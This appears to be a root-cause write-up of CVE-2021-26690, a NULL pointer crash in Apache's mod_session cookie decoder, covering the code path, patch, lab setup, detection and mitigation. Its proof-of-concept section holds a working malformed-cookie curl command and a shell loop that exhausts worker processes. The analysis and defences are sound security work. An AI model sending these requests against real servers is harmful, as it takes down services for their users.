From Cookie Parser to Crash: Root Cause Analysis of CVE-2021-26690
Table of Contents
Executive Summary#
CVE-2021-26690 is a NULL pointer dereference vulnerability in Apache HTTP Server’s
mod_session module, affecting all versions from 2.4.0 through 2.4.46. An unauthenticated
remote attacker can crash any Apache worker process by sending a single HTTP request
carrying a malformed session cookie. Repeating that request exhausts the worker pool,
resulting in a complete denial of service.
The root cause is a sequencing error in session_identity_decode(): the value half of a
cookie pair is parsed unconditionally before the key is validated for NULL. When a pair
whose key is empty (e.g., &=) reaches the parser, apr_strtok returns NULL for the key
without updating the internal last pointer. The subsequent unconditional call to parse
the value then dereferences that NULL pointer, crashing the process.
The fix is a one-line reorder in the C source. The patch was committed as SVN r1887050 and shipped in Apache 2.4.48, released 2021-06-01.
Who should care: anyone operating Apache HTTP Server with mod_session enabled and
SessionCryptoPassphrase absent or disabled. The attack requires no authentication, no
special headers other than Cookie, and can be scripted in three lines of shell.
Context & Threat Model#
Apache Worker Architecture#
Apache HTTP Server under the mpm_prefork MPM (the most common production configuration
at the time of disclosure) runs a pool of independent child processes. Each worker handles
one request at a time. The parent process monitors the pool and respawns crashed workers.
[Attacker]
|
| HTTP GET / Cookie: session=&=
v
[Apache Parent Process]
|
+---> [Worker 1] <-- handles request → crashes (SIGSEGV)
+---> [Worker 2] <-- handles request → crashes (SIGSEGV)
+---> [Worker N] <-- handles request → crashes (SIGSEGV)
|
v
[Parent respawns workers, but loop exhausts MaxRequestWorkers]
→ Legitimate requests time out → DoS
Attack Surface#
The vulnerability is reachable through the Cookie HTTP header — no POST body, no
query string, no authentication. The only prerequisite is that the server has loaded:
LoadModule session_module modules/mod_session.so
LoadModule session_cookie_module modules/mod_session_cookie.so
and configured Session On with a SessionCookieName.
On first contact, Apache sends a Set-Cookie header to the client containing the initial
session value — by default only the expiry timestamp, URL-encoded:

The session value (expiry%3D...) is what ends up in z->encoded after URL-decoding.
Trust Boundary#
The relevant trust boundary is between the raw HTTP header received from an untrusted
network client and the internal session state managed by mod_session. The module
performs cookie decoding before any application-level authentication runs, meaning the
vulnerable codepath is exercised for every incoming request that carries a Cookie
header matching the configured SessionCookieName — authenticated or not.
Research Methodology#
Starting Point#
The CVE advisory names mod_session and describes the issue as a “specially crafted
Cookie header” causing a NULL pointer dereference. The natural first step is locating the
module source and identifying every codepath that touches the session cookie.
httpd/modules/session/mod_session.c
httpd/modules/session/mod_session_cookie.c
mod_session_cookie.c reads the raw cookie value from the request headers and populates
z->encoded. mod_session.c then decodes it. The decode function is the right place to
look.
Tracing the Decode Pipeline#
The session cookie format is a URL-encoded key-value string, pairs separated by &,
key and value separated by =. For example:
expiry=1718000000&user=alice&role=viewer
Two nested tokenisation passes are required: first split on & to get pairs, then split
each pair on = to get key and value. Both passes use APR’s apr_strtok, which is
Apache’s re-entrant wrapper around strtok. The interaction between these two levels
of tokenisation is where the bug lives.
Hypothesis#
If a pair can be constructed such that apr_strtok returns NULL for the key without
updating its internal last pointer, and the value parse is called unconditionally
after that, then a NULL dereference becomes possible. The input &= (an empty key
before =) was the obvious candidate to test.
Lab Setup#
Reproducing the crash requires Apache 2.4.46 with mod_session loaded and Session On
configured. A Docker image makes this deterministic:
FROM httpd:2.4.46
RUN apt-get update && \
apt-get install -y --no-install-recommends procps net-tools apache2-utils && \
rm -rf /var/lib/apt/lists/*
COPY conf/httpd.conf /usr/local/apache2/conf/httpd.conf
With httpd.conf:
LoadModule session_module modules/mod_session.so
LoadModule session_cookie_module modules/mod_session_cookie.so
LoadModule session_crypto_module modules/mod_session_crypto.so
Listen 8080
ServerName localhost
<IfModule mod_session.c>
Session On
SessionCookieName session path=/
SessionMaxAge 1800
</IfModule>
No SessionCryptoPassphrase — that is intentional, and it is the default state for many
deployments. See the Exploitability section for the impact of enabling it.
Debug Build for GDB Analysis#
For deeper dynamic analysis beyond crash reproduction, building Apache from source with
debug symbols allows setting breakpoints inside session_identity_decode and
apr_strtok to observe pointer states at runtime:
# Build APR with debug symbols
wget http://archive.apache.org/dist/apr/apr-1.7.3.tar.gz
tar -xzf apr-1.7.3.tar.gz && cd apr-1.7.3
./configure --prefix=/usr/local/apr
make && sudo make install
# Build Apache 2.4.46 with full debug info
wget https://archive.apache.org/dist/httpd/httpd-2.4.46.tar.gz
tar -xzf httpd-2.4.46.tar.gz && cd httpd-2.4.46
./configure --prefix=/usr/local/apache2 \
--enable-debug --enable-maintainer-mode --enable-debugger-mode \
--enable-session --enable-session-cookie --enable-session-crypto \
--enable-mods-shared=all
make && sudo make install
With a debug build, GDB can attach to a worker process and inspect the session_rec
and the plast pointer value at the moment of the fault:
(gdb) break session_identity_decode
(gdb) run
(gdb) p plast
$1 = (char *) 0x0
(gdb) next
Program received signal SIGSEGV, Segmentation fault.
This confirms the NULL value of plast before the fatal apr_strtok(NULL, ...) call.
Root Cause Analysis#
The Vulnerable Function#
session_identity_decode() in modules/session/mod_session.c at tag 2.4.46:
static apr_status_t session_identity_decode(request_rec *r, session_rec *z)
{
char *last = NULL;
char *encoded, *pair;
const char *sep = "&";
if (!z->encoded) {
return OK;
}
encoded = apr_pstrdup(r->pool, z->encoded);
pair = apr_strtok(encoded, sep, &last); /* (1) split on & */
while (pair && pair[0]) { /* (2) iterate pairs */
char *plast = NULL;
const char *psep = "=";
char *key = apr_strtok(pair, psep, &plast); /* (3) parse key */
char *val = apr_strtok(NULL, psep, &plast); /* (4) parse val ← BUG */
if (key && *key) { /* (5) guard checked too late */
if (!val || !*val) {
apr_table_unset(z->entries, key);
}
else if (!ap_unescape_urlencoded(key) && !ap_unescape_urlencoded(val)) {
if (!strcmp(SESSION_EXPIRY, key)) {
z->expiry = (apr_time_t) apr_atoi64(val);
}
else {
apr_table_set(z->entries, key, val);
}
}
}
pair = apr_strtok(NULL, sep, &last);
}
z->encoded = NULL;
return OK;
}
Line (4) is the bug: val is unconditionally parsed before the if (key && *key) guard
at line (5) is evaluated. If key is NULL, plast may not have been updated by call (3),
leaving it NULL — and apr_strtok(NULL, psep, &plast) will immediately dereference it.
The following screenshots from the source show the two tokenisation stages as they appear
in the actual module code. First, the outer pass splitting the cookie on & to extract
individual pairs:

Then the inner pass splitting each pair on = to extract key and value — where the
unconditional val parse sits outside the null check:

apr_strtok Internals#
To understand why plast is left NULL, it is necessary to look at the APR implementation
of apr_strtok (from apr/strings/apr_strtok.c):
APR_DECLARE(char *) apr_strtok(char *str, const char *sep, char **last)
{
char *token;
if (!str) /* subsequent call: resume from last position */
str = *last; /* ← dereferences *last */
/* skip leading separator characters */
while (*str && strchr(sep, *str))
++str;
if (!*str) /* nothing left: return NULL without touching *last */
return NULL;
token = str;
*last = token + 1; /* *last is only written when a token is found */
while (**last && !strchr(sep, **last))
++*last;
if (**last) {
**last = '\0';
++*last;
}
return token;
}
The critical invariant: *last is only written if the function does not return early via
the !*str path. If the input string consists entirely of separator characters, the
function returns NULL and *last remains unchanged.
Step-by-Step Crash Path#
Cookie header sent by the attacker:
Cookie: session=&=
z->encoded receives &= (the value after session=).
Step 1 — Outer tokenisation on &:
apr_strtok("&=", "&", &last)
str = "&=", sep ="&"- Leading sep skip:
&is in sep → skip →strnow points to"=" *str = '='— not in sep → token foundtoken = "=",*lastupdated to point past"="- Returns
"="
pair = "=", pair[0] = '=' → the while condition pair && pair[0] is true.
Execution enters the loop body.
Step 2 — Inner tokenisation for key:
char *plast = NULL; /* stack-allocated, initialised to NULL */
char *key = apr_strtok("=", "=", &plast);
str = "=", sep ="="- Leading sep skip:
=is in sep → skip →strnow points to"" !*str→ early return NULL;plastis never written
key = NULL, plast = NULL (unchanged).
Step 3 — Unconditional value tokenisation:
char *val = apr_strtok(NULL, "=", &plast);
- First parameter is NULL → subsequent call →
str = *last = *(&plast) = plast = NULL str = NULLwhile (*str && ...)→ dereferences NULL → SIGSEGV
The worker process receives SIGSEGV and terminates. The Apache parent logs:
[error] child pid XXXXX exit signal Segmentation fault (11)
and immediately forks a replacement worker.
The following screenshot shows the execution flow through apr_strtok at the point of the
dereference, with the NULL pointer path highlighted:

Compared against a complete execution trace for the empty-pair input path:

And the equivalent trace for a valid cookie (session=123&test=test) for contrast:

Why the Guard Doesn’t Help#
The misplaced guard if (key && *key) at line (5) is evaluated after the crash has
already occurred. For the fix to be effective, val must not be computed unless key is
known to be non-NULL — because apr_strtok for val relies on plast having been
populated by the key call.
Patch Diff#
Commit 67bd9bf (SVN r1887050), commit message: “mod_session: save one apr_strtok() in
session_identity_decode(). When the encoding is invalid (missing ‘=’), no need to parse
further.”
- char *key = apr_strtok(pair, psep, &plast);
- char *val = apr_strtok(NULL, psep, &plast);
- if (key && *key) {
- if (!val || !*val) {
+ char *key = apr_strtok(pair, psep, &plast);
+ if (key && *key) {
+ char *val = apr_strtok(NULL, sep, &plast);
+ if (!val || !*val) {
Two changes:
valis declared and assigned inside theif (key && *key)block —apr_strtokforvalis only reached whenplasthas been validly populated by thekeycall.- The separator for
valis corrected frompsep("=") tosep("&") — a latent secondary bug fixed in the same patch.
Proof of Concept#
Environment Setup#
# Build the Docker image (requires httpd:2.4.46 and the httpd.conf above)
docker build -t apache-session .
docker run -d -p 8080:8080 --name apache-session apache-session
Verify the server is running and returns a session cookie on the first request:
$ curl -si http://127.0.0.1:8080/ | grep Set-Cookie
Set-Cookie: session=expiry%3D1718000000; path=/
Single-Shot Crash#
curl -si http://127.0.0.1:8080/ -b "session=1234&="
Expected result: the worker serving the request crashes. The container logs immediately show the segfault:
[Mon Aug 29 10:00:01.123456 2024] [core:notice] [pid 1] AH00051: child pid 42 exit signal Segmentation fault (11)
The trigger can also be simplified further — session=&= works equally well since the
vulnerable path only requires the &= sequence to be present in the cookie value:

The server remains available because Apache respawns the crashed worker — but each request with this cookie kills one worker.
DoS Loop#
To exhaust MaxRequestWorkers (default: 256) and deny service to all legitimate clients:
while true; do
curl -s http://127.0.0.1:8080/ -b "session=1234&=" -o /dev/null
done
Each iteration crashes one worker. After enough iterations the server stops accepting connections. Legitimate requests receive connection refused or timeout.

Note: Under mpm_event or mpm_worker, multiple requests are handled per process.
The crash impact per process is higher, but the number of processes to kill is lower.
The DoS is still achievable; the iteration count required varies by MaxRequestWorkers
and ThreadsPerChild configuration.
Exploitability Analysis#
| Property | Value |
|---|---|
| Authentication | None required |
| Network access | Remote |
| Complexity | Low — single curl command |
| Impact | Denial of service (process crash) |
| Confidentiality | None |
| Integrity | None |
| CVSS 3.1 Base Score | 7.5 HIGH |
What This Is Not#
This is not a memory corruption primitive that can be turned into code execution. The
dereference occurs inside apr_strtok while iterating a null pointer as a string. The
crash is deterministic and consistent; there is no controllable write, no heap spray
opportunity, no register control. The security impact is limited to DoS.
The SessionCryptoPassphrase Blocker#
When mod_session_crypto is active and SessionCryptoPassphrase is set:
SessionCryptoPassphrase "s3cr3t"
the cookie value is AES-encrypted and base64-encoded before being sent to the client.
An attacker cannot forge a cookie that, after decryption, contains the &= sequence
without knowing the passphrase. The raw &= payload would be rejected during the
base64/decryption phase before session_identity_decode is ever reached.
This is not a fix — it is a configuration-dependent mitigation. The underlying bug still exists; it is simply unreachable when the cookie is opaque. Deployments relying on unencrypted sessions (the default) remain fully vulnerable.
Real-World Deployment Context#
Many Apache deployments that enable mod_session do so for stateless session tracking
without enabling crypto — particularly internal tooling, legacy PHP applications, and
administrative interfaces. The absence of SessionCryptoPassphrase is the default
configuration shown in Apache’s own documentation examples and is the most commonly
encountered deployment state.
Detection & Mitigation#
Detecting Exploitation in Apache Error Logs#
A successful crash leaves a consistent fingerprint in logs/error_log:
[core:notice] [pid <PPID>] AH00051: child pid <N> exit signal Segmentation fault (11)
A burst of these messages — especially correlated with a single source IP — is a strong indicator of active exploitation. Alert on:
grep "Segmentation fault" /usr/local/apache2/logs/error_log | \
awk '{print $NF}' | sort | uniq -c | sort -rn
Repeated crashes in a short time window with no corresponding application error are abnormal under benign conditions.
Access Log Pattern#
The malicious request itself is structurally ordinary — a GET with a Cookie header. No HTTP error is returned before the crash; the worker dies mid-processing. The access log entry for the crashing request may be absent or logged with status 000. Correlate missing access log entries against error log segfaults for full visibility.
Immediate Mitigations#
1. Upgrade to Apache HTTP Server ≥ 2.4.48. The patch is a one-line reorder with no behavioural change for valid input. There is no reason to delay.
2. Enable SessionCryptoPassphrase if upgrade is not immediately possible.
<IfModule mod_session.c>
Session On
SessionCookieName session path=/
SessionCryptoPassphrase "use-a-long-random-value-here"
SessionMaxAge 1800
</IfModule>
This makes the cookie opaque to the attacker and prevents the malformed payload from
reaching session_identity_decode.
3. ModSecurity rule to block empty key-value pairs in session cookies:
SecRule REQUEST_COOKIES:session "@rx (^|&)=" \
"id:9000001,phase:1,deny,status:400,\
msg:'CVE-2021-26690 mod_session NULL deref attempt',\
logdata:'%{MATCHED_VAR}'"
This targets the &= pattern specifically. Adjust the cookie name to match your
SessionCookieName configuration.
4. Rate-limit repeated requests from a single IP at the network boundary. While not a fix, limiting request rate reduces the window for exhausting worker processes before the anomaly is detected.
Secure Coding Takeaway#
The fix demonstrates a broader principle: any time a subsequent call to a tokeniser depends on internal state populated by a prior call, validate that prior call’s return value before making the dependent call. The pattern:
char *key = tokenise(input, &state);
char *val = tokenise(NULL, &state); /* unconditional — dangerous */
if (key) { use(val); }
is incorrect when state may not have been updated by the first call. The correct form:
char *key = tokenise(input, &state);
if (key) {
char *val = tokenise(NULL, &state); /* safe — state was populated */
use(val);
}
This pattern appears in any C code using strtok, strtok_r, apr_strtok, or similar
stateful tokenisers.
Key Takeaways#
Tokeniser state is invisible.
apr_strtok(likestrtok_r) uses an output pointer to track position. When no token is found, that pointer is not updated. Any dependent call that reads uninitialised or stale state through it will behave unpredictably.Guard placement matters as much as guard presence. The
if (key && *key)check was not absent — it was misplaced. The two extra bytes of input (&=) were enough to expose the ordering mistake.The input
"="passes non-empty string checks. The outer loop guardpair[0]is satisfied by'='. Pair-level validation alone is insufficient; per-component validation must happen before each component is consumed.Default configurations determine attack surface. The vulnerability is only exploitable without
SessionCryptoPassphrase. That option is off by default. The most common configuration is the vulnerable one.DoS-only does not mean low risk. In a context where the affected service is an internet-facing gateway or an API endpoint with SLA requirements, a single-line shell loop causing complete service unavailability is a critical operational incident.
Patch diff size does not correlate with bug severity. The fix is four changed lines. The vulnerability affects every Apache 2.x release for 21 major versions.